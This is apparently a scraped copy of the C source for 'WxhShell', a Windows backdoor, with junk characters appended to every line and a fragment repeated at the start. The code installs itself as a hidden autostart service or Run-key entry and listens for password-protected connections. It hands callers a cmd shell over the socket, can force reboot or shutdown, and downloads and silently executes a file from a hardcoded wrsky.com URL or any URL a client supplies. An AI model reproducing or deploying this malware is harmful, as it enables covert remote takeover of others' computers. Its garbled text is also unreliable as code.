    else { "6.kZ$`%  
    closesocket(wsh); dfk=%lZYd9  
    ExitThread(0); :sJVklK  
    } kMUjSa~\  
    break; 65g\WB+/  
    } oas}8A)  
  // 关机 f 1]1ZOb  
  case 'd': { }VyD X14j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xFgY#F  
    if(Boot(SHUTDOWN)) h_H$+!Nzb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CY9`ztO*  
    else {  Qq>M}  
    closesocket(wsh); )Wgh5C`  
    ExitThread(0); j134iVF%  
    } Z:5e:M  
    break; D;m>9{=  
    } |o6B:NH,rg  
  // 获取shell 58WL8xu  
  case 's': { ?&"-y)FG  
    CmdShell(wsh); Td?a=yu:J  
    closesocket(wsh); @<;0 h|  
    ExitThread(0); O9jqeF`L=  
    break; 4R.rSsAH  
  } %gmf  
  // 退出 10t9Qv/  
  case 'x': { /JJU-A(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (oxe'\  
    CloseIt(wsh); =lA*?'kd  
    break; H:2#/1Oz>  
    } GXf"a3  
  // 离开 Eufw1vDa  
  case 'q': { u0\?aeg`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8eQ 4[wJY  
    closesocket(wsh); jo/-'Lf{?  
    WSACleanup(); um ,Zt  
    exit(1); e0qU2  
    break; !5&% P b  
        } hjs[$ ,1  
  } fp u^  
  } ]|'Mf;  
r+ k5Bk'  
  // 提示信息 oF8#gn_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (@[c;+x  
} % ,1bh  
  } =UT*1-yh R  
d%8hWlffz  
  return; xXQDHc -Ba  
} )BmK'H+l  
+<7`Gn(n3  
// shell模块句柄 |]*]k`o<)  
int CmdShell(SOCKET sock) <S <@V?h  
{ { LZ` _1D  
STARTUPINFO si; rK7m(  
ZeroMemory(&si,sizeof(si)); 4:WN-[xX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3%p^>D\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \%g# __\  
PROCESS_INFORMATION ProcessInfo; j&(aoGl@  
char cmdline[]="cmd"; $GB/}$fd&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AT+7!UGL  
  return 0; 7&-B6Y4  
} G&y< lh  
;%{REa  
// 自身启动模式 `2.[8%6  
int StartFromService(void) krnxM7y  
{ _vr> -:G  
typedef struct ;Hk{bz(  
{ E>NRC\^@  
  DWORD ExitStatus; kLtm_  
  DWORD PebBaseAddress; 3\JEp,5  
  DWORD AffinityMask; DSf  
  DWORD BasePriority; [Wf%iwB  
  ULONG UniqueProcessId; .?|pv}V  
  ULONG InheritedFromUniqueProcessId; !,WO]O v  
}   PROCESS_BASIC_INFORMATION; A 0~uv4MC  
g ]%sX6T  
PROCNTQSIP NtQueryInformationProcess; .EpcMXT%  
mO%F {'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qy|[V   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FX}kH]  
MROe"Xj  
  HANDLE             hProcess; x/7kcj!O  
  PROCESS_BASIC_INFORMATION pbi; *jE> (J`  
Hwiw:lPq`E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r~ N:|ip=  
  if(NULL == hInst ) return 0; mqUn3F3  
!g=4\C`mY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V'alzw7#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S+9}W/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6N+]g/_a  
,sF49C D  
  if (!NtQueryInformationProcess) return 0; l=4lhFG,Mk  
qJN!L))  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ps<;DE\$f4  
  if(!hProcess) return 0; ^V,?n@c!  
JiH^N!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p^J=*jm)x  
~*NG~Kn"s  
  CloseHandle(hProcess); #s% _ L  
&pCa{p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;@/^hk{A  
if(hProcess==NULL) return 0; iX (<ozH  
ZMa@/\pf1  
HMODULE hMod; x6N)T4J(  
char procName[255]; |0^~S  
unsigned long cbNeeded; EIdEXAC(  
FglW|Hwy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ] 40@yrc  
MEKsL7  
  CloseHandle(hProcess); VO u/9]a  
;[) O{%s  
if(strstr(procName,"services")) return 1; // 以服务启动 ?E +[  
JO[7_*s  
  return 0; // 注册表启动 /hF@Xh%hY  
} FqwH:Fcr:  
1/\JJ\  
// 主模块 }%) ]b*3  
int StartWxhshell(LPSTR lpCmdLine) V$o]}|  
{ s]X0}"cz  
  SOCKET wsl; r{g8CIwGQ  
BOOL val=TRUE; C!X"0]@FA  
  int port=0; a)lS)*Y  
  struct sockaddr_in door; ;+;%s D  
Ar{7H)V:  
  if(wscfg.ws_autoins) Install(); Rq@M~;p  
(Y!{ UNq5  
port=atoi(lpCmdLine); +YD_ L  
G1tua"Px  
if(port<=0) port=wscfg.ws_port; +%sMd]$,n  
/Pv dP#!  
  WSADATA data; nY M2Vxi0+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ){}1u ?  
H6/n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KATu7)e&~^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SB x<-^  
  door.sin_family = AF_INET; ks19e>'5Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (pv6V2i  
  door.sin_port = htons(port); Gov]^?^D-  
3q-Xj:FP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i&m t-  
closesocket(wsl); 'f_[(o+n  
return 1; 8{4SaT.-Rm  
} P1G;JK  
*G&3NSM-  
  if(listen(wsl,2) == INVALID_SOCKET) { 2H,n"-9+  
closesocket(wsl); !-AK@`i.  
return 1; *e,GXU@  
} {ovW6#  
  Wxhshell(wsl); i+@t_pxc  
  WSACleanup(); %LjhK,'h  
\%/Y(YVm  
return 0; &"6%D|Z0  
Um%$TGw5  
} 1c4@qQyo  
JRr'81\  
// 以NT服务方式启动 h?7@]&VJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b}HwvS:  
{ 01w}8a(  
DWORD   status = 0; 4{6XZ_J1  
  DWORD   specificError = 0xfffffff; wX+KW0|>  
jJqq:.XqB8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )0XJOm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eKvQS}11  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @:w[(K[^b/  
  serviceStatus.dwWin32ExitCode     = 0; v43FU3  
  serviceStatus.dwServiceSpecificExitCode = 0; _Gtq]`y  
  serviceStatus.dwCheckPoint       = 0; UF PSQ  
  serviceStatus.dwWaitHint       = 0; 8i~n;AhDs  
vYNu=vnM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \Xpq=2`  
  if (hServiceStatusHandle==0) return; @)x8<  
$:IEpV{  
status = GetLastError(); f#3!Q!C^  
  if (status!=NO_ERROR) ~y" ^t@!E  
{ !SAR/sdXf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; St|B9V?eEB  
    serviceStatus.dwCheckPoint       = 0; qr'P0+|~5  
    serviceStatus.dwWaitHint       = 0; :9]"4ktoJ  
    serviceStatus.dwWin32ExitCode     = status; 5Y#~+Im=[@  
    serviceStatus.dwServiceSpecificExitCode = specificError; >5MHn@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oi4y~C_Xd  
    return; krecUpo  
  } i p; RlO  
-F&*>?I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lG R6S  
  serviceStatus.dwCheckPoint       = 0; 94'0X  
  serviceStatus.dwWaitHint       = 0; D:#e;K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ' }T6dS  
} wvz_)b N~A  
+ 0 |d2_]E  
// 处理NT服务事件,比如:启动、停止 a&C}' e"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &O\$=&, h  
{ JW9U&Bj{  
switch(fdwControl) h e1=  
{ \(;X3h  
case SERVICE_CONTROL_STOP: 9-hVlQ~|  
  serviceStatus.dwWin32ExitCode = 0; l'FNp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M ]uO%2  
  serviceStatus.dwCheckPoint   = 0; I%tJLdL  
  serviceStatus.dwWaitHint     = 0; :>o2UH  
  { (aX6jdvo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xB|?}uS-  
  } Uu(FFd~3  
  return; "zx4k8  
case SERVICE_CONTROL_PAUSE: h ngdeGa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M?.[Rr-uw  
  break; r8TNl@Z  
case SERVICE_CONTROL_CONTINUE: '[`pU>9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {wCzm  
  break; !~QmY,R  
case SERVICE_CONTROL_INTERROGATE: ";*Iwd*V  
  break; 't#E-+o  
}; k*k 9hv?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |YWX.-aeo  
} D)GD9MJ  
s^>1rV]=(`  
// 标准应用程序主函数 $[M5V v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pa2cM%48  
{ *,#T&M7D  
[*z`p;n2D  
// 获取操作系统版本 o}6d[G>  
OsIsNt=GetOsVer(); B`/p[U5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,#hx%$f}d  
BiI`oCX  
  // 从命令行安装 ,_!MI+o0  
  if(strpbrk(lpCmdLine,"iI")) Install(); <}t<A  
"FH03 9  
  // 下载执行文件 _su$]s  
if(wscfg.ws_downexe) { @DniYt/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FWl'='5L  
  WinExec(wscfg.ws_filenam,SW_HIDE); -eQ70BXvB  
} a6epew!2  
gFAtIx4  
if(!OsIsNt) { +@jX|  
// 如果时win9x,隐藏进程并且设置为注册表启动 |iGfWJ^+  
HideProc(); ![hVTZ,hyZ  
StartWxhshell(lpCmdLine); 'bx$}w N  
} HWxwG'EEY,  
else \Ss6F]K]  
  if(StartFromService()) IrTMZG  
  // 以服务方式启动 f) @-X!  
  StartServiceCtrlDispatcher(DispatchTable); ^gd[UC-"w  
else 2Pic4Z  
  // 普通方式启动 jLCZ JSK  
  StartWxhshell(lpCmdLine); :}3;z'2]l  
@ !m+s~~]h  
return 0; x$;kA}gy  
} |z]--h  
$i.)1.x  
jyFXAs2  
 KSB{Z TE  
=========================================== qJq2Z.>hy  
.vk|aIG  
az;o7[rI^  
tp?< e  
;nZN}&m   
0zrZrl  
" (vb8Mk  
=x^b  
#include <stdio.h> OM 4, Sevk  
#include <string.h> 4pC.mRu 0  
#include <windows.h> >Z&Y!w'A|u  
#include <winsock2.h> *\T ]Z&E"  
#include <winsvc.h> FCPi U3  
#include <urlmon.h> (|_N2R!  
2#t35fU  
#pragma comment (lib, "Ws2_32.lib") uwhb-.w  
#pragma comment (lib, "urlmon.lib") :Miri_l  
LS{t7P9K  
#define MAX_USER   100 // 最大客户端连接数 @-G^Jm9~\m  
#define BUF_SOCK   200 // sock buffer .7v .DR>  
#define KEY_BUFF   255 // 输入 buffer PA<<{\dp  
F2Nb]f  
#define REBOOT     0   // 重启 _7Rp.)[&  
#define SHUTDOWN   1   // 关机 t182&gpd`  
C3z#A3&J  
#define DEF_PORT   5000 // 监听端口 ^L +@oS  
5V"g,]'Nd  
#define REG_LEN     16   // 注册表键长度 :$?^ID  
#define SVC_LEN     80   // NT服务名长度 v5`Q7ZZ  
m[%*O#_  
// 从dll定义API rA6lyzJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3 F ke#t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }J-+^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w|0w<K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wU1h(D2&h  
_pe_w{V-b6  
// wxhshell配置信息 +*vg) F:  
struct WSCFG { E|>oseR  
  int ws_port;         // 监听端口 xv:VW<  
  char ws_passstr[REG_LEN]; // 口令 V detY\  
  int ws_autoins;       // 安装标记, 1=yes 0=no WPu{ ]<pl  
  char ws_regname[REG_LEN]; // 注册表键名 eh5j  
  char ws_svcname[REG_LEN]; // 服务名 KOHYeiry~A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Tye[iJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5^7q 2".  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l-G] jXu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #I] ^Wo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MPI=^rc2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i |IG  
Mpu8/i gX,  
}; \.,qAc\[  
U-0A}@N  
// default Wxhshell configuration ^;=L|{Xl  
struct WSCFG wscfg={DEF_PORT, Ln C5"  
    "xuhuanlingzhe", %?WR 9}KU0  
    1, 0}d^UGD  
    "Wxhshell", TE!+G\@  
    "Wxhshell", @x @*=  
            "WxhShell Service", TEYn^/n~  
    "Wrsky Windows CmdShell Service", UoSzxL  
    "Please Input Your Password: ", l6O8:XI  
  1, Obb"#W@3  
  "http://www.wrsky.com/wxhshell.exe", rjLPX  
  "Wxhshell.exe" (;.wsz &K  
    }; +'f+0T\)  
X:1&Pdi  
// 消息定义模块 [;n/|/m,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; isiehKkD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; . vJlTg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WXzSf.8p|  
char *msg_ws_ext="\n\rExit."; ejjL>'G/|%  
char *msg_ws_end="\n\rQuit."; y +2  
char *msg_ws_boot="\n\rReboot..."; /suW{8A(E  
char *msg_ws_poff="\n\rShutdown..."; +91j 1?  
char *msg_ws_down="\n\rSave to "; Tb@r@j:V  
8nSEAr~  
char *msg_ws_err="\n\rErr!"; vz1yH%~E  
char *msg_ws_ok="\n\rOK!"; !/;/ X\d  
ooW;s<6  
char ExeFile[MAX_PATH]; ZJ Ke}F`l  
int nUser = 0; !um~P  
HANDLE handles[MAX_USER]; do$+ Eh  
int OsIsNt; 6 J B"qd  
l}jC$B`5  
SERVICE_STATUS       serviceStatus; ^/V>^9CZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !`h^S)$  
>nqCUhS   
// 函数声明 Jdc{H/10  
int Install(void); gFQ\zOlY8a  
int Uninstall(void); f}%paE"  
int DownloadFile(char *sURL, SOCKET wsh); :Ou[LF.O  
int Boot(int flag); b:6NVHb%  
void HideProc(void); f2f2&|7  
int GetOsVer(void); T>cO{I  
int Wxhshell(SOCKET wsl); Am @o}EC  
void TalkWithClient(void *cs); Xvr7qowL  
int CmdShell(SOCKET sock); 4v?}K   
int StartFromService(void); pcrarj  
int StartWxhshell(LPSTR lpCmdLine); cKM#0dq  
)d$FFTH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5z~O3QX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )nM<qaI{  
XTro;R=#  
// 数据结构和表定义 uGW!~qAr*  
SERVICE_TABLE_ENTRY DispatchTable[] = 49?wEm#  
{ 0` y*7.Ip  
{wscfg.ws_svcname, NTServiceMain}, J\%SAit@  
{NULL, NULL} JOUZ"^v  
}; mQka?_if)  
km,I75o.  
// 自我安装 !-cK@>.pE  
int Install(void) GVK c4HGt  
{ 1&.q#,EMn(  
  char svExeFile[MAX_PATH]; uK;&L?WB  
  HKEY key; -2/&i  
  strcpy(svExeFile,ExeFile); ]H$Trf:L  
V7}]39m(s  
// 如果是win9x系统,修改注册表设为自启动 =73aME}  
if(!OsIsNt) { h; "pAE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hq;*T3E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UrRYK-g  
  RegCloseKey(key); h7a/]~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w =2; QJ<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~4V-{-=0a7  
  RegCloseKey(key); j' }4ZwEh  
  return 0; S\dG>F>S  
    } ya'Ma<4  
  } qvC2BQ  
} &y&pjo6v1  
else { h2P&<ggqX  
o5;|14O  
// 如果是NT以上系统,安装为系统服务 O/b1^ Y   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {TVQ]G%'b  
if (schSCManager!=0) Memb`3  
{ \f-@L;8#  
  SC_HANDLE schService = CreateService <Eu/f`8  
  ( JH+uBZh6  
  schSCManager, >v'@p  
  wscfg.ws_svcname, j^)=<+Q;=  
  wscfg.ws_svcdisp, *bl|[(pP  
  SERVICE_ALL_ACCESS, u/.# zn@9h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +k{l]-)1  
  SERVICE_AUTO_START, Q79WGW  
  SERVICE_ERROR_NORMAL, 8JojKH  
  svExeFile, 9l<}`/@}W  
  NULL, k!0vpps  
  NULL, fJK;[*&Y  
  NULL, ;;}}uW=  
  NULL, c yH=LjgJf  
  NULL c1M *w9o  
  ); ql I1<Jx  
  if (schService!=0) pqDlg  
  { f7?u`"C  
  CloseServiceHandle(schService); [5;_XMj%  
  CloseServiceHandle(schSCManager); DCSmEy`.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); otmyI;v 7<  
  strcat(svExeFile,wscfg.ws_svcname); qS/ 'Kyp_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4Dw| I${O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); orZwm9#].  
  RegCloseKey(key); sp7#e%R\  
  return 0; -#`tS  
    } 3U9leY'2N  
  } L~!Lq4]V\g  
  CloseServiceHandle(schSCManager); vs2xx`Y<Lq  
} ,?c=v`e  
} Zjn![  
(vPE?^}b  
return 1; '-V[t yE  
} FvyC$vip  
P/[}$(&:  
// 自我卸载 xA>3]<O  
int Uninstall(void) T!1Np'12zF  
{ W2]%QN=m$  
  HKEY key; r"W<1H u  
)&[Zw{6P  
if(!OsIsNt) { M!Ywjvw*)3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \=j|ju3  
  RegDeleteValue(key,wscfg.ws_regname); #&Fd16ov  
  RegCloseKey(key); T~naAP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z|BOuB^   
  RegDeleteValue(key,wscfg.ws_regname); 9Idgib&  
  RegCloseKey(key); o@qI!?p&  
  return 0; `^: v+!  
  } F> b<t.yV  
} %:.IG.`d  
} q9B5>Ye)  
else { kf1 (  
&G aI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v%)=!T ,  
if (schSCManager!=0) 2#Y5*r's\  
{ ]D@y""{--s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J@RV^2  
  if (schService!=0) ?MD\\gN  
  { tg;AF<VI  
  if(DeleteService(schService)!=0) { 7 aN}l QM  
  CloseServiceHandle(schService); DG/<#SCF  
  CloseServiceHandle(schSCManager); '<aFd)-  
  return 0; lTZcbaO?]  
  } xz){RkVzP  
  CloseServiceHandle(schService); %iD'2e:  
  } J\Z\q  
  CloseServiceHandle(schSCManager); TL@{yJ;s  
} G\Q0{4w8  
} }b / G{92  
5[A4K%EL  
return 1; bkL5srH  
} p}lFV,V  
fYzZW  
// 从指定url下载文件 ,,~|o3cfq  
int DownloadFile(char *sURL, SOCKET wsh) Zrp9`~_g<!  
{ E|ZLz~  
  HRESULT hr; +f\r?8s  
char seps[]= "/"; cxxrvP-  
char *token; AUwIF/>F(]  
char *file; ;mXw4_{  
char myURL[MAX_PATH]; ILT.yxV  
char myFILE[MAX_PATH]; 5uD'Kd$H  
J-Wphc!m  
strcpy(myURL,sURL); FQw@ @  
  token=strtok(myURL,seps); !;.nL-NQ  
  while(token!=NULL) xmwH~UWp  
  { IfpFsq:  
    file=token; K Z Q `  
  token=strtok(NULL,seps); Hv .C5mo  
  } 8EAkM*D w  
?Q/9aqHe;  
GetCurrentDirectory(MAX_PATH,myFILE); 0 hS(9y40  
strcat(myFILE, "\\"); Jc,{ n*  
strcat(myFILE, file); 8\rHSsP  
  send(wsh,myFILE,strlen(myFILE),0); pu5-=QN  
send(wsh,"...",3,0); S@eI3Pk E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z=a{;1A  
  if(hr==S_OK) ]`}R,'P  
return 0; 3QD##Wr^  
else $jNp-5+Q;  
return 1; QVQ?a&HYS  
q /^&si  
} ns9a+QQ  
j:J{m0  
// 系统电源模块 `"<tk1Kq"  
int Boot(int flag) P:2 0i*QU  
{ ewv[nJD$  
  HANDLE hToken; hFr?84sAd  
  TOKEN_PRIVILEGES tkp; M;F&Ix  
2z[A&s_  
  if(OsIsNt) { r$z0C&5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9`v[Jm% $m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Avi8&@ya  
    tkp.PrivilegeCount = 1; Wf:I 0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e X q}0-*f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kV3Zt@+  
if(flag==REBOOT) { /WE1afe_R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l} UOg   
  return 0; K;#9: Z^+  
} $_NP4V8|z/  
else { .+Fh,bNYK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mLL?n)   
  return 0; +)l6%QKcW  
} V-%Am  
  } gTwxmp.,  
  else { {h *Pkn1  
if(flag==REBOOT) { m@^!?/as  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VJ$UpqVm  
  return 0; 7cMSJM(]G  
} PK|"+I0  
else { Ae 3:"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xk$U+8K  
  return 0; \t 04-  
} H}B%OFI\+  
} [_?dpaTt  
q/HwcX+[b  
return 1; uQlQ%n%  
} 0N19R5NN8  
nnPY8pdjSD  
// win9x进程隐藏模块 %{ToWLb{I  
void HideProc(void) C"!k`i=Lj  
{ ds"q1  
sZ9VXnz24  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )I`Ma6bX  
  if ( hKernel != NULL ) Zqnwf  
  { x-HN]quhe  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x)Ls(Xh+g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vZl]C%  
    FreeLibrary(hKernel); qg#|1J6e  
  } hIv8A_>@`  
I,d5Y3mC  
return; FOx&'dH %@  
} O$,MdhyXC  
2RC|u?+@  
// 获取操作系统版本 8RJ^e[?o(  
int GetOsVer(void) NLA/XZ  
{ q2C._{ 0'  
  OSVERSIONINFO winfo; `c~J&@|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w `0m[*  
  GetVersionEx(&winfo); o0'!u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Au-h#YV  
  return 1; WVfwt.Y  
  else >2w^dI2  
  return 0; :7-2^7z)  
} xLmgr72D  
5g(`U+ ,*(  
// 客户端句柄模块 &?xZ Hr`  
int Wxhshell(SOCKET wsl) ]1(G:h\  
{ j6_tFJT  
  SOCKET wsh; U4*Q;A#  
  struct sockaddr_in client; T,D(Xh  
  DWORD myID; #[C=LGi  
z nxAP|  
  while(nUser<MAX_USER) c_#+xGS!7  
{ jA}b=c  
  int nSize=sizeof(client); U2D2?#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V"`t*m$  
  if(wsh==INVALID_SOCKET) return 1; vz-O2B_u  
byTTLs,}d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (7Q Fy  
if(handles[nUser]==0) R#x~f  
  closesocket(wsh); Btgxzf  
else ',Q|g^rF]  
  nUser++; NP#:} )  
  } kED1s's  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^Voi 4;  
B<" `<oG@|  
  return 0; BrO" _  
} Dxlpo! ?#  
:|tWKA  
// 关闭 socket yHk}'YP  
void CloseIt(SOCKET wsh) \6)]!$F6:  
{ GZwz4=`  
closesocket(wsh); lEWF~L5=:  
nUser--; NB|yLkoDyI  
ExitThread(0); Oe/\@f0bLT  
} RMvq\J}w!  
2`;&Uwt  
// 客户端请求句柄 C@3`n;yZ=  
void TalkWithClient(void *cs) F?B`rw@xr  
{ $ rU"Krf67  
1\aJ[t  
  SOCKET wsh=(SOCKET)cs; BHZCM^  
  char pwd[SVC_LEN]; zG. \xmp  
  char cmd[KEY_BUFF]; vk&6L%_~a  
char chr[1]; ^I CSs]}1  
int i,j; +'VSD`BR  
Ey#7L M)  
  while (nUser < MAX_USER) { +338z<'Z!  
4{rqGC /  
if(wscfg.ws_passstr) { !F|#TETrt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $%P?2g"j,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1R+/T  
  //ZeroMemory(pwd,KEY_BUFF); fZ5zsm'N  
      i=0; 8h%oJ4da   
  while(i<SVC_LEN) { 4Nun-(q  
_ / >JM0  
  // 设置超时 #{DX*;1m  
  fd_set FdRead; u9zEhfg8  
  struct timeval TimeOut; -/'_XR@1  
  FD_ZERO(&FdRead); <(c_[o/  
  FD_SET(wsh,&FdRead); 5mYX#//:  
  TimeOut.tv_sec=8; iX|K4.Pz{  
  TimeOut.tv_usec=0; lPaTkZw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;[-TsX:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HPz3"3n!  
aVvma=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Id}/(Pkq  
  pwd=chr[0]; {gkzo3  
  if(chr[0]==0xd || chr[0]==0xa) { bQlvb  
  pwd=0; g]Jt (aYK  
  break; w5+H9R6  
  } + ;LO|!  
  i++; Rl/5eE8  
    } 5w+KIHhN|  
r&y0`M  
  // 如果是非法用户,关闭 socket @/,:". SM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ouE/\4'NB  
} wr-/R"fX  
uSgR|b;R]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YstR T1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >_J9D?3S  
SIridZ*%  
while(1) { $Vp*,oRL  
! *eDT4a  
  ZeroMemory(cmd,KEY_BUFF); Oo0SDWI`(  
!7hjA=0  
      // 自动支持客户端 telnet标准   4'wbtE|  
  j=0; e=^^TX`I  
  while(j<KEY_BUFF) { 2Wn*J[5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [p+-]V  
  cmd[j]=chr[0]; C==yl"w  
  if(chr[0]==0xa || chr[0]==0xd) { v8} vk]b  
  cmd[j]=0; uo8[,'  
  break; omMOA  
  } Cvp!(<<gK  
  j++; ZccvZl ;b  
    } 9?XQB%44  
xWnOOE$i  
  // 下载文件 xt&4]M V  
  if(strstr(cmd,"http://")) { PS}'LhZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KcvstC`  
  if(DownloadFile(cmd,wsh)) l+A)MJd oj  
